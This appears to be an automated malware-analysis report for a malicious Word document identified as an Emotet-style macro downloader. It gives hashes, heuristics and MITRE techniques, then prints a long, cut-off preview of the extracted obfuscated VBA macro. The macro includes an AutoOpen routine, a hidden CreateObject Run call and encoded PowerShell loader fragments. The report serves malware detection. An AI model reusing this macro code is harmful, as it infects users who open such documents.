Office (OLE) malware analysis — malicious · 741a37d38aaacf72

MALICIOUS

Office (OLE)

172.0 KB Created: 2018-03-27 23:14:00 Authoring application: Microsoft Office Word First seen: 2018-03-30

MD5: 2b3e39377d162a9e15de6a79531e22cd SHA-1: cd61817f40cf557e48d8bc4ef370185a4d65bf23 SHA-256: 741a37d38aaacf729dac47828e12962c18d0251fa1b100e5191963968cc0ae77

192 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a malicious Office document containing VBA macros. The critical heuristic 'CLAMAV_DETECTION: Doc.Malware.Emodldr-10025032-0' and the presence of VBA macros with auto-execution markers (AutoOpen) indicate malicious intent. The VBA script utilizes a function 'Lwpjbz' to decode strings, which likely form URLs or commands for downloading and executing a second-stage payload. The reconstructed strings '7BhAGEAYwA3ADYAZAA1AGYANAAzADIAOQA1ADgAYwAxAGQAZgBmAGIAZQAyAGUANAAwADQAZgAwADgANAAzADYAZABkADEANAAwADQAZQA3AGYAZQ2OLtE', 'JA1AGMAMwA3AGQANgAwADkAYgA5ADYAYQAwADkAOQBiADMAOQAwADYAOQBjAGYANwA5ADAAYwBmADAAMAAxADUAMwAmzSJuMJ', and 'JwbfMgAxADEANQBlADgAZQA5ADUAMgBmADEAYgA4AGUAMwBiADcAOQA4ADkAZABkADcAMgBkADcAYgBkADgANQBlADEAMwBkADMANAAxAGQAOABiADkAOQBlAGUAOAAyADMANQA1ADkANwAwAGQAMQA2AGEAZgAwADUAZgA1AGIAO2Gz' are highly suspicious and likely represent components of the malicious payload delivery chain. This suggests a typical macro-based malware delivery, commonly associated with spearphishing attachments.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

LYDLD = (afaBY - ChrB(72944))
CreateObject(OfXjlKzlvAIr).Run tqTkDJ + Chr(VBA.vbKeyC) + hoLXmmwt + HIjbjUG + QRmPc, vbHide
For Each noFZqS In RusJY

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Attribute VB_Name = "wwosrfL"
Sub AutoOpen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	46461 bytes
SHA-256: `e980e3c6382f2a47b7582c80588027c2d34f52e2f3eb6c2d6024e0330c858d62`
Detection ClamAV: No threats found Obfuscation or payload: likely 776 of 1282 identifiers look randomly generated (e.g. 'kAMABkADMAMwBkADgAYQA0ADQANwAzADYAYgBmAD') — consistent with name-mangling obfuscation. Carved artifact contains 26 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "sEVclmK" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "YiFjDppwVjs" Function mfVWzZplzzFwlU() On Error Resume Next For Each UZAAk In lhPZti vSDbYE = 9776 - rciJp For Each WaDiUZ In vWRrd uRIFfh = BVJlcq Next Next CYnPiZKI = Lwpjbz("7BhAGEAYwA3ADYAZAA1AGYANAAzADIAOQA1ADgAYwAxAGQAZgBmAGIAZQAyAGUANAAwADQAZgAwADgANAAzADYAZABkADEANAAwADQAZQA3AGYAZQ2OLtE", 2, 112) For Each VczVr In oOHLvY Yzwmj = 89982 - KjjXz For Each IrBQRB In HqTYvz tjJwJG = IBYXCh Next Next For Each iLIjw In UZVaNz QVtTnv = 33559 - qjUXo For Each fwOdPR In OSDWM zLlLkh = VdimkV Next Next SXKoVcvpVLN = Lwpjbz("JA1AGMAMwA3AGQANgAwADkAYgA5ADYAYQAwADkAOQBiADMAOQAwADYAOQBjAGYANwA5ADAAYwBmADAAMAAxADUAMwAmzSJuMJ", 2, 89) For Each BoinMK In obGzz oBCqwa = 96861 - BFVkp For Each ECPcs In iHaoPK qJkiO = BpTbrp Next Next For Each ifYjj In zUTlr zPjMtO = 14780 - zGMYjd For Each EaYOl In ozYkI BDRwUq = DqzQXv Next Next SrWCMDu = Lwpjbz("JwbfMgAxADEANQBlADgAZQA5ADUAMgBmADEAYgA4AGUAMwBiADcAOQA4ADkAZABkADcAMgBkADcAYgBkADgANQBlADEAMwBkADMANAAxAGQAOABiADkAOQBlAGUAOAAyADMANQA1ADkANwAwAGQAMQA2AGEAZgAwADUAZgA1AGIAO2Gz", 5, 169) For Each HYcSzA In HvuuX RJPLc = 71160 - FjfJsi For Each aQEJB In GBQXF IXuHXB = kPuaon Next Next For Each ZTVIH In AEMmi haFNS = 50439 - uCwzsB For Each XdwRLj In KWqaFt JZIZU = soYhAO Next Next qGBWGX = Lwpjbz("nVSpDaAZgAyAGEAYQBjAGrL6", 7, 15) For Each sWaVcH In wXHua NXEPmN = 63196 - lcqYX For Each wjEPR In zBnvUw cPmSNw = fVkIu Next Next For Each XvQtJi In sEdIqW OHlvkJ = 6078 - pcUkzC For Each GQCwdp In Gjnfz TZOzt = JscKhj Next Next fXQnCJuKQ = Lwpjbz("H57JnLqlADMAOAAxADgANgml", 8, 15) For Each YFoZYj In HwNGts DACHFK = 77583 - QOUqIt For Each dFVQiQ In RKPwR VMIGA = GraDbV Next Next For Each wimzs In tTrYSD fXPqPc = 58753 - AftJQa For Each zAoMj In llErT UwMSR = PBUWUR Next Next dGIKhHUTYHI = Lwpjbz("wdiwSQBlAGEANgA1ADMANQAzAGMANAA5ADgAOABkADIAZAA2AGMANQBiADMANgAwAGYANgBkADMANgA5ADIAZgBkAGIAMgBhADAAMABkAGUAMQA4ADUANQBlAGYAMQAyADYANgA2ADYANQAzj%Y", 6, 139) For Each KcwDsq In EbWrkF QulLw = 92687 - KjoMc For Each AZzbjX In YvnhL rSsbU = LKzHiK Next Next For Each WTcMFI In ADbJIk XRkGn = 73656 - pPoiuw For Each ZwAJKr In KXREPc iKfDQm = wiZMY Next Next WTOdP = Lwpjbz("ODAAMwA2AGYAYQA4AGIAZgAzAGQANQAwADIAOABlADUAMgAxAGUAOABkAGUAYwA4ADMAOAAwADkAMQAxAGUAMABmADAAOQBmADMAMgBlADIAOQA5ADMZ8M72G", 3, 113) For Each hDoiLJ In bFbAws MtTBX = 19575 - KFIad For Each pdTbw In ALGjit fRYif = YapCL Next Next For Each KFSznA In YMQijn nMBfAm = 66864 - RvGmjD For Each LmlQT In dimpB EAqow = KBRLR Next Next npYCNu = Lwpjbz("45RqDUAMwAzADIAMwA2ADgAMgA4ADYAYQAxAGUAOQA4ADEANAAyADEAMwA4OCqb", 5, 55) For Each XNPnW In ATYVAi QUYKdO = 81615 - biubHH For Each WClAUf In FzpMuo mjAMri = lrowbG Next Next For Each KkjZv In MqNQbn aTkpiB = 62911 - zkZDOD For Each hljLjD In oIhsh JwRkYK = wHkKz Next Next ooZzmS = Lwpjbz("O8DAzAGYAMwAyADAANgA4AGUAMQA4ADcANABlAGUAYgBjAGQAOQBkADMAYwA3AGIAZgA2ADcANwAyADMAYwA2AGMANQBmADEAYgAzAGYAYwA2ADMAYwBkADUAOQBmADcAMQBmADUAZgAzAqa8HK", 4, 139) For Each WNAHV In qaIcjQ XJibI = 79393 - wowSo For Each DhqaAV In WjEoB LrJAW = UQnMRj Next Next For Each avuMVj In CjTMz sIjiGD = 17980 - vTvOiq For Each zEFtr In EvGNX hwrua = ALFjs Next Next qJldnzRcEk = Lwpjbz("LtQAyAGEAMQA0ADUAYQAwAGYAZgAxAGYAZAA3AGIANQAwAGIAMgBhAGMAZgBhADEAMAA4ADkAMAA2ADcANwAzAGUAZAAyADIAOQAwAGUAYQBiADUAYQBmAGMAZgBhADcAOABhADMAMQBjAGEAZQAxADkANQBhAGIANAAxAGQAN5aqPt", 3, 168) For Each LaJfcw In rpJCiN GbnMc = 40141 - zcmEZU For Each ifBQM In iQDZT PjPXu = jHGYX Next Next For Each Pbrmjd In jwDqdD IXVXqZ = 4599 - GLPMB For Each jQSHt In tYvfO EvnHb = DFrEI Next Next wjWwQKzcFF = Lwpjbz("WcBAAxADYANAA0ADAAZQBlAGMAOAA4AGUANwAwAGEAMgAwAGEAZQBjADgAOQAwADcAOAA0ADgAMwAxADAAOQBlADkAMAA3ADYAYgA2ADQAOAA4ADcANwBkADAAYgAyADgAYwA2ADgAMAAwADgAMABkAGMAYwBjADIANwA1ADi00vA", 4, 165) For Each YwnAVf In XbZCf ikrEjc = 80696 - pUGbz For Each qIwYcI In iuYsD IrZft = VsoLA Next Next For Each rwrFpV In ujbzC GqkEB = 60369 - YPqRzJ For Each vtDKq In PzcYfj cYUQDc = cspcq Next Next MazREVuUL = Lwpjbz("SWHPUAYQA1ADkANQAzAGEAMwBkADAAYwA1AGIAMwAwAGQANwBiAGQANQA5AGIAMABlAGEANgBkAGIANAAzADgAZQBjADAAYQBlADcAOABhAGIAZQBhADAAOAA5ADYAZAA4AGEAMABmAGEAYQA0ADgAOQA1ADUAYgA1ww", 5, 158) For Each uEcIa In jKPBj IaoJN = 23470 - SjAzu For Each NUviD In aUVhL UwXDo = WozvB Next Next For Each FWAGc In zjlEY LKakk = 21298 - njhfM For Each sRCzOB In DACZi nmLQVW = miJpc Next Next QCaMtLzpj = Lwpjbz("FGEAYQA3ADkANwBkAGMAMwA0ADEAMQA4AGQAOQAzAGMANABmAGIANQBkQ8otlqL", 2, 55) For Each MMNXY In ocjwvj DXTKI = 1985 - DXjbT For Each JJrKI In XKonq dipEDn = jwTfT Next Next For Each JMRHh In zdIbji zkCvLf = 57104 - DSJHEs For Each WSlrW In fJEwS hzLXIT = owINpi Next Next JPTuCWS = Lwpjbz("%wYGOaW2ADYAMABlADUAYwA1ADAAMQBhS", 8, 24) For Each uFuHzc In lGqqsM Sazzs = 792 - jsuBoY For Each OOFvI In XZOzwq wrVhPG = VYLQz Next Next For Each plaGN In FirXCK jUaVLo = 52719 - JppUJs For Each OCHjjb In FNOOSG zYuAl = NWnwaE Next Next vrsNOCs = Lwpjbz("zj1twA1AGYAMABjAGQANwBlADAANQBmADAANwBhADYANwA4ADAANABlADYAZQBiADgANwAxAGIAMgA4ADQAMwA2AGYAYgA0ADgAMwA1AGYAMABhADEANAAyAGIAb 8zL", 5, 119) For Each jwklEm In PpPWa zOMGzW = 40378 - LQvUXu For Each sOJFfv In IdcJf mIIXZm = wKjADj Next Next For Each JqVGR In DupGi pnZSFZ = 81393 - rTZoFs For Each mpOhlC In zrvRw rBHjP = YJVtY Next Next iUfpWBri = Lwpjbz("w,DGUAYgBhADkAYgBmAGIAZAA0AA=Yzlwq", 4, 26) For Each bdMqQ In AYiQEa tujoi = 43933 - akppLq For Each FTXQv In OJZvIa QaXbz = KWGsVn Next Next For Each BBdzn In jfQNU zJrco = 25903 - cEBZuD For Each EPLVC In oXNLPi bRPoiH = YaoMcV Next Next QUqPovjir = Lwpjbz("GbIungtoGLobALallocunICODe( $('76492d1116743f0423413b16050a5345MgB8AGMAdQBjAHMAUwA4AHIASgBLAEYARQBEAHMANwAwAGUAMgBVAFAAVgArAFEAPQA9AHwAOABkADEAOQBhALrinu", 5, 144) For Each ZDAcj In iwTTvL XawjM = 18832 - RKoMqm For Each fiaws In cPTNij CdzwtW = awdIzT Next Next For Each cdRNp In GjhSQ jFjpif = 80706 - FNwRKq For Each LVIvfs In rocvf VpvZE = RDUIz Next Next Nvjjzl = Lwpjbz("IowiADIANQA0ADEAYgA5ADQAMAAyADEAMgBlADAAYwA0ADQANgA0AGEANwBiADMAZABiADAAYgA1ADAAMAA3ADIAYwA5ADgANgBmADIAOAAyAGMAZQBkAGEAZAA2AGYAZQA2ADMAZQBiAGQAMAAaZ2Cb", 4, 144) For Each phLOiA In zUvLZ kHfOr = 24998 - AcGQRY For Each CYirM In BqKtc csfsZ = WCTAmo Next Next For Each vCRdLH In pUwkqV ijArq = 57815 - wtNOf For Each mRHsNw In POHwh MtXAE = UcpfQ Next Next sEwYLFlumoA = Lwpjbz("8lttGYAZQA4AGYAYwA5AGYAMwA4AGMAYwBjAGEANAMUFc", 5, 37) For Each wcLwJ In PfKCY GXuGq = 29806 - BJpRZY For Each IMLUwm In XRUDQF jCqJV = thHOm Next Next For Each jTNlZz In UYozX WGCfHC = 13266 - daqjKu For Each hwohS In cwSLfK MobUZl = dANPsI Next Next znKnmcKL = Lwpjbz("dBlADkANAA5ADAAMwBkADEANABjADcANQBlADYAZQAwAGMANQA2ADMAMgBjADYANwAzAD07jXvNqL", 2, 68) For Each GtWBPC In nczSFK JjUbsH = 47258 - wWKYKr For Each iYpJcV In wJQHQ MbCTb = TQsozB Next Next For Each JWvUDE In nJIbz NjQRjr = 9971 - QKliNu For Each knrss In jBjjpT BtiMq = IObbE Next Next JtnvUfNaKjc = Lwpjbz("L4GMAOABhADAAOAAzADcAMwA4AGIAZQBkADEAYgAwAGMAZABlqCB0", 3, 46) For Each MAsMJl In KwDVQi ihihl = 82636 - wcWbZ For Each ImzJMm In fvnpZ zJLwXR = laajtp Next Next For Each aiWYkX In vpiidY Ujctj = 1885 - QZjbb For Each zAfEBU In vLIVn CsLjA = ODqaj Next Next YoTiUkMNk = Lwpjbz("amAGYANgBkAGIAZgAyADQANgA4AGIAYgA4ADkANwA0ADAAOQAzADQAYQA5ADYAZgA2ADcANABmADYAMQA1AGUAYwA3AGMAMwA2ADUAMQBhAGUAOAA2ADIANgA3ADMAOQA3ADMAZQAwAGEAZgA2ADcAMwA0ADMAMgBmAGMAZQBkStww9a", 2, 169) For Each GQcJEm In IpmuJa IQGIbG = 13151 - wVFsjb For Each iJawV In DimGVZ MQwBGX = zwhzdb Next Next For Each dtQvtQ In WzDEzj uHBoj = 38027 - TCWnls For Each bSzqWH In Fvoqi UmdZBN = PHSaC Next Next XAWqCsCc = Lwpjbz("2SA1AGMAYQBhAGMAMgA4ADEAMwBlADMAYQA2AGMAYwAxADcAZgA4ADUAMgBiADUANAA3ADIAMgBmADUAMABmADQAYQAzAGMANwAyADkAZQBmADQAYwA2AGIAMwA3AGEAYwA3ADkAZAAwADYANgAxAGYAZgBlAGIAYQAzAGUAMgAwADYAYwfcLutG", 3, 176) For Each LJrtHI In svfFN YDpLMz = 655 - GjZzlX For Each bTAXo In wIOChh zZHXL = oUavFc Next Next For Each SiAiw In AfWaC ViYsSc = 60774 - AvEQut For Each zHbKT In FtidpH KifcM = OFPfS Next Next NhdGBCdm = Lwpjbz("Anr&( $eNv:cOMsPEC[4,15,25]-joIN'') (( [rUntiME.inTeRoPsErViCes.MArsHAl]::([RUNTImE.InTerOpsERVices.maRshAl].GETMEMBERS()[2].Name).inVOKe( [RUntIMe.inTerOPSerVicES.mARshaL]::sECuResTRiLXw", 4, 181) For Each zHTXdj In DMCXuQ EPptOc = 41150 - lVPbEd For Each vhcIXU In mVBuCD HHkMdM = PVRqRX Next Next For Each jvNhM In jOCGML lMMzp = 79955 - bdhwJj For Each jrhOZA In wqpLiz VSiFN = UhsiwW Next Next OFFihNWqfE = Lwpjbz("znAOAA0ADYAOAAyAGMAMwAxADEAMABkADMANQA1AGYAOABiADgANwBhAGEAZAAyAGEAMAA4AGIAOQAyADYANwBjAGQANwA3ADkAZAAxADQAOAA0AGMANwA5ADgANgA4ADEAMwAzADAAOQA4ADUAMizm%i", 3, 146) For Each bCNRX In uzXUsm aoVWo = 20667 - DGLCqw For Each UBwzRC In EtdYnw awwmS = HfMWt Next Next For Each ovGBhi In pPFEV MHbwW = 45366 - wiYtU For Each PQUjwr In YEdoif oLSmjm = CnmzPV Next Next FGcdVicNf = Lwpjbz("DAGIAYQA0ADYAMwBhADMAMAA3ADcAOAA0ADkAOQBiADUAMAVzpjI,", 2, 46) For Each CKXNh In TpVfG bfIdm = 34852 - cjkLlM For Each mNchmi In sWtGb bbwqnj = KMtJA Next Next For Each ETCkW In fzsiw wVpjr = 91046 - ithVo For Each WQirv In vKRwL EoAOhi = jofWzN Next Next LTHfqjPk = Lwpjbz("8%zOAOQA5AGQAOQAyADAANQAwADUANwA3AGEAYwBlAGIANgBiAGUAZgA1ADAANwA5ADUAZQBkADMANQBlADMAMQAwAGMAZQA2ADYAMQBmADkAZAAxADYAYQBkADMANwBlAEv1m", 5, 126) For Each rKiPX In OQzqwH WBIfWd = 93602 - GCTMCa For Each frtkd In QkbBbO ooJRZ = ZhjAAU Next Next For Each RMZoTi In YNvljv CjGwUo = 22816 - ZNMzi For Each UcQOI In iEudj Rjcihj = Yzpin Next Next WRRbNT = Lwpjbz("fmOT,MAMgA4AGEAZABkADQANwAxADAANwA3ADAAMAA5ADgAOQA1AGMAOQA5AGUAMwA0ADgAMQBkADIAZgA1ADkAMgA0ADkAYwA3AGMAYwA5AGMAZABjADkAYwBkAGIAMAAxADcAYQA1AGUAZABmADYAZgA0ADkAOAAwADYAYwA3AMCF6", 6, 167) For Each PjumMb In vhDli YjMzl = 56276 - cWfur For Each dhJIiw In RscjSi Mwjcq = LLiLz Next Next For Each fitIB In jVdzA NmXPpZ = 45664 - HuYmPo For Each lWvEN In wzsoK CiTcAw = AsQYZ Next Next zFzAKbVBpd = Lwpjbz("cZXBiAGMAMwA0ADkAOABjAGjwjJ.a", 4, 20) For Each SAAlK In tNwvz vmcOnf = 52199 - aVKoSX For Each snhUzV In vHzOih lEmUu = JtlFl Next Next For Each iMBpbO In ivvzvY wrAah = 26856 - zURzIZ For Each mEmah In BFrFtU otvDpJ = Fpcbw Next Next WsLijBfnBul = Lwpjbz("R=' \| ConverTto-sEcureSTRinG -KEy 233,135,36,13,171,7,219,59,60,220,123,234,75,86,253,41,98,186,200,68,107,225,244,186,96,140,235,178,157,59,135,153)) ))) Iqlzjbf8", 2, 154) For Each njsjsS In IvrJXN RtAvjM = 76605 - EYOHzz For Each zbKiw In VNIMai tCljc = IMpju Next Next For Each LNzvSO In VKzcsZ SLBUX = 79787 - FTFovZ For Each ttqqJ In VMirnW XiWFG = WkbCma Next Next duBkizUoQK = Lwpjbz("%uwfh,j2ADkAMgBmADUANwAzADUAZgA1ADYAOQA1ADIANgAyAGYAYwA3ADAANwBlADAAZgA4ADcAZQBlAGEAZgA0ADUAYwA5ADIAMABkADYAMwA5AGIAOABkADAAZAA3ADcAYQBmAGYAMQA4ADUAMQA0AGIt6", 8, 148) For Each UFuuG In pWcRH iwBFdK = 63798 - VGawz For Each EDXRqD In GIQSn QhwvNP = XuUfz Next Next For Each bZZVj In EzALf jQrSF = 55979 - pssuL For Each RqLia In GVhhd ujuDDF = wwzoCh Next Next qmHzVzoWdN = Lwpjbz("f88.EkDMANwA3ADEAYQA5ADIANQA3ADAAMgA5ADIAYwAxAGYAZQBmAGQANgBmAGQANABkADMAOAA2ADcANgBlAGEAYQAxADcMq9", 7, 90) For Each TKiji In OPPbtQ AYnBiO = 50237 - tGlon For Each OJUBJ In NrwrB wiiUTK = idYIvF Next Next For Each IArAf In Rupiaz sSZjTP = 14055 - TERMA For Each dLNDn In vLzaRK LOPqCQ = HYKRXS Next Next rOQjuOP = Lwpjbz("tIgBhADMAOABlAGMAYgAyADQAOQBkAGMAMAA5ADkAMABhADkAZABjADEANwAwADEAYwBlADQAYwAxADIANAA4AGIANwA4ADkAYH8Wnf,", 3, 96) For Each upvan In anibbm mjSzP = 17769 - vHDNO For Each LJEAwf In UAWDz fWXfoP = MCbGL Next Next For Each SriiEi In ItRGc jTnCMm = 49070 - CWFEYo For Each jspzA In SKWhS NzQQd = IwcFV Next Next RqalLfW = Lwpjbz("AgBiAGUAZgBmAGIAZQBjAGEAMAA0ADMAMgA3ADYAYQA5ADcAYQA3AGEAZgA2AGQAZQBhADUANQBhAGUAZQBiADkANwBkAGU7L,wG", 2, 94) For Each FmPPV In ajpzZA HbGNIR = 41365 - hLjmFb For Each QqZiXa In OFCpsH PQYPoV = ClUnzU Next Next For Each lCDhji In VMfDbn PHESZu = 56818 - UYZjq For Each BaoHj In aCcoXU UpPPdQ = iSVTU Next Next HitqGjOKC = Lwpjbz("iVvvdAYQA1ADIAOABhADQAMAA2ADcAYgBjAGIANABiAGQAZgBkADIAMABlAGQAMAAwADcANgA4ADQAZgA2AGQAYwBmADIAOQAyADYAYwAwh%", 6, 101) For Each RQhiIA In jTmqwu TMfQvF = 91827 - fFIvS For Each kjEUmt In KVzfX OBCYTi = hRmEY Next Next For Each iqRpH In ffDksr whpOPz = 89851 - Gsiio For Each Xjnnbw In RwuMB BUfFo = BcELtU Next Next TAdNiLlvVD = Lwpjbz("7wAzADkAYwBjADgANwAyADUANgAyAGEAOAAwADQAZQA2AGEAZgBhAGEANgAzADIANQBmADUAYwA3ADAAMgAwAGEANwBhAGIANQBiADcAOQA5AGYAYCIDGzd", 2, 112) For Each Lzcwi In TAIwP Qsdfiv = 4253 - ftzan For Each hmBSVt In anEpA AiQtV = IYDXz Next Next For Each BsMdc In wkRAmj wHaMj = 95867 - nwJFY For Each WKXZMw In jGvTM JWjajf = wwlvH Next Next iPLNfbwNY = Lwpjbz("filGcANwA4AGEAMAA2ADUANABkADYAYwA2ADcAOQAxAGMAYQBkAGMAOQBkADMANQAwADUAZgAwADgANwA1AGIANAAwAGMAZgAxADIAMQA0ADAANABiAGQAMwA4ADEAOAAwADAAYgAyADUANQAzADEAMgBlADIAOAAxADMAMgBmAGMAOQAwADgAZQA1ADEANLr", 5, 187) For Each miiEiG In qbmMr oTlqMH = 99564 - ojDWda For Each nXYbS In LiBBMM JijWi = qwNIZo Next Next For Each KVsNj In cauiE zzvYt = 90072 - UXiZm For Each SdoHov In uwRzij FPfBPQ = tfupE Next Next umbWiidvi = Lwpjbz("2 cw2Knr0", 2, 1) For Each dzojw In dQqnS jFdwf = 94610 - MOzEsd For Each VLYwu In kbVzK BcDPPc = vjLvu Next Next For Each cltaaM In VWaMtV FkAXs = 91178 - JOvowL For Each TlIdm In wmhpft PMjhW = PCozrB Next Next WLYjiY = Lwpjbz("GADIANwBlADEAMgA1ADYANABkAGYAZgBhAGUAMAA3ADlcaJ0Lz", 2, 42) For Each CTXzm In AYCkSi uHTDL = 83470 - ZSwiOR For Each vEfmR In lZfPjC tzMcN = OzIjlo Next Next For Each RzPpH In KZHpb FcJLF = 14667 - QKWfMd For Each LizMCw In DjBPN zHvJJ = hdEDU Next Next fcFfZ = Lwpjbz("n3tLInADAAYQA0ADUAYBD", 7, 13) For Each VoJwv In DLcKf vmdNCw = 15417 - sviJOM For Each JwBHb In zhJvEk LBjmbV = WZUaI Next Next For Each KThji In zCJQw sciPnJ = 96500 - fzjuU For Each fAmjWb In wIXER ODAOZZ = Xuwuz Next Next CzHbkjhv = Lwpjbz("piOABhAGQAZQA2ADMAOAA2ADkAMgBlADEAYgA2ADAAMQAzADgAMQA1ADEAMQBiADMANwAyADYAMgAxAGUAZAA4ADAANABmADMAMABhAGQAZQBkADMAMQBlAGMAMAA0AGMYcrE0Eu", 3, 127) For Each FzhLj In LptwQa UmuUGL = 42882 - jEikKU For Each RkCrk In VKRwo FoVGk = iFPdas Next Next For Each OACwE In Blizj QnGjV = 90351 - qVFrWu For Each jObvP In IblCX HOHKZj = wYzrA Next Next TSEwwHb = Lwpjbz("48vYnAYQBkAGUAZgA2ADUANAA2ADMAOAA3AGUANgBmADUAMgA5AGQAZQBmAGQAYgAxADUAZABkADIAMgAxAGIAOABlADgAZgAwADUAMwA5ADYANQBlAGEAOAA2ADIAYQA3ADQANABjAGUAEF1", 6, 137) For Each nwIqJJ In ChtmKm dwpBEL = 57577 - jjKfKJ For Each wjWaBb In Akctr aUUzmz = wivnpQ Next Next For Each DVDJur In OAlSG JnoPk = 28370 - XfXoY For Each BOcbd In OVXSzC tUiEh = Zhqru Next Next FLzmZrro = Lwpjbz("LqWUAZAAxADgAYwBhADMAYQA5ADEAZQBkADgAYwBjADQAOQA3ADIAMQA0ADMAZAAwADUAZAAxADcAOQA5ADkAOQA2ADIAYQA5ADAAYgBmADMAZQBmADUANABlADL,s", 4, 120) For Each PLGbX In OkcpDm IXsul = 39108 - NLVnpb For Each kwkLWi In OiHuz jRzDQ = fZjhnE Next Next For Each PIroB In lKUJo iZUUtP = 2955 - dMLDB For Each swwAv In mtjhjG fFPzkh = rIObC Next Next LNiCzJTF = Lwpjbz("BZWnAAyAGYANQBlADMAMQAyADYAZgAwADcANQBjADEANgA3ADIANgA5ADAAMgA3ADMAMwA4AGIAMgBlADMAOAA1ADYAOQBkADAAYgA2ADMAOQBAl", 5, 106) For Each hOYCwn In jdpNTO oopmn = 74770 - VRNMa For Each vbjhV In UCYVhk UHCQBj = cRCTb Next Next For Each QnUpQ In tCVcT oFfqmi = 95914 - MizCPQ For Each GAZwOP In unXGVi wooEm = YWSzwO Next Next djXDO = Lwpjbz("LOdAGUANgBhADAANwA1ADkAMQA3ADUANwA2AGQAZgA3AGYANQAzAGEANAA0ADUAYwA0ADIAZgAzADIAZgA1ADUANwA3ADcANAAyADkAYQBkADIANABlADkAMQAwAGMAMwAzAGQAMQBlAGQAOAA4A,adklk", 4, 145) For Each wipRa In fnBvi LNKsS = 60340 - PiPuJ For Each cWGjhZ In AMiMz fVDNu = KzbjOi Next Next For Each RziLv In TDZrbV jMPqmm = 73739 - kCzLm For Each PrTMr In PDCDp GMQXz = ctiFn Next Next MSjNAzlWri = Lwpjbz("bbjhADgAYgA4ADMAMABiADMAZABkAGQAZQA3ADAAZQBiADgAYQBjADYAOQA1ADUAYQBiADcAOABlADgAYwA3ADUAZQAyADcAMABhADgAYQBhADAAOQA2AGMAZQAxADkAZABkADQAOAA4ADYAZ%S%", 5, 141) For Each zmqFh In kzJbDL ikOdj = 18261 - AWfZC For Each FtjsW In EBNER WITqG = IERSTN Next Next For Each wLHjQk In bBBkml jdUuc = 46476 - AEfPKf For Each okSrT In TkjLS liwCm = joIHK Next Next GVADDzIdz = Lwpjbz("c3ADAAOQA1ADkAMQBjADkANgBlADEAMgA1AGEAYgBjADkAMAAxADEANQBmADcAOABmAGMAYwA2AGYAMAA0ADQAOQAzADYAYwA4AGQAOQA5ADgAYQBlAGIAOAA2NuwE6", 3, 120) For Each sIqwHc In FFZmQ sSfmvu = 18174 - GmNBBs For Each iqthZi In KPWdHr RMrhU = wACMNB Next Next For Each tPudmt In dMwKtA upjQrj = 3493 - mDncj For Each XvTWH In BKoQJ YzLmI = ZNqdt Next Next nTmSz = Lwpjbz("GizADAAYwAwADkAZQBlADMANwAzAGMANABlADUAYwA2ADcAYgA0AGUAYgAwAGUAZQBjAGUtzJ4", 4, 67) For Each cwlsc In pJMjFR olAkjA = 30262 - nIEpz For Each kCTLuB In tLPIh aArrrt = URZdH Next Next For Each TNwvf In KBbqo risKzO = 95572 - diPuE For Each kAjmki In WVoub oaVLnO = CJohE Next Next PzOpjqtjj = Lwpjbz("i2GwLZgBiADkAZQAzAGIANwBkAGIAYQA3ADIAMwBhAGUAYQBkADIANQAyADYAYwBhADMAOABlADEAMgAyAGEAOABmADAAYgBlADMAMABjAGUAMz8", 6, 105) For Each ZiYkwE In siKUoF rVNEQ = 46445 - JsIWcf For Each kbMziw In dzlqq vGQAXh = ajwkR Next Next For Each KrCKc In VdwuKG JzciZJ = 89050 - kjYws For Each ziqTQ In iirKwf FTvJQP = vaooQv Next Next udkfZU = Lwpjbz("fGV kAMABkADMAMwBkADgAYQA0ADQANwAzADYAYgBmADUAZgBjADMANAAzADcANwAzADgAMwBiADEAYwBmADYAZgAyADcAMwAwADMAMQAyADcAMgA4ADYAMQBhADAAMQBiAGYAj6UXR", 5, 130) For Each mZIiOk In VuIbu IbIRju = 56518 - CoaIjw For Each ZuCCV In vIifku jYnhV = nURWFW Next Next For Each RTGUlp In huRnq FSEoJ = 49286 - ctwvX For Each aMaGP In LijkA EuhzP = oTkQJ Next Next NuRzDIP = Lwpjbz(",IANgAyAGUANAA1ADEAYgAwADAAMgAyADkAZQA2ADcAYgBkAGEAOABkADQAMQBjAGIAZAA1ADgANAA3ADkANAAxADgAMQBlADMAZQA2AGQAZQAxADgAMgAyADcANgAwAGUAZABkADkANAA1AGQAZQAxADYAZgAzAGMAOQBiADUANAAzADEAZABmA1LYKBXi", 3, 182) For Each GRCiQY In LzXPs nBjii = 48973 - EaEfii For Each bGEdJC In AwEhOI oQhip = bVIoGq Next Next For Each iatcNo In XhtRI vKkiUk = 57374 - RnlSWA For Each hBVNzj In wHVfw GotwlS = jZJiL Next Next ErtpWS = 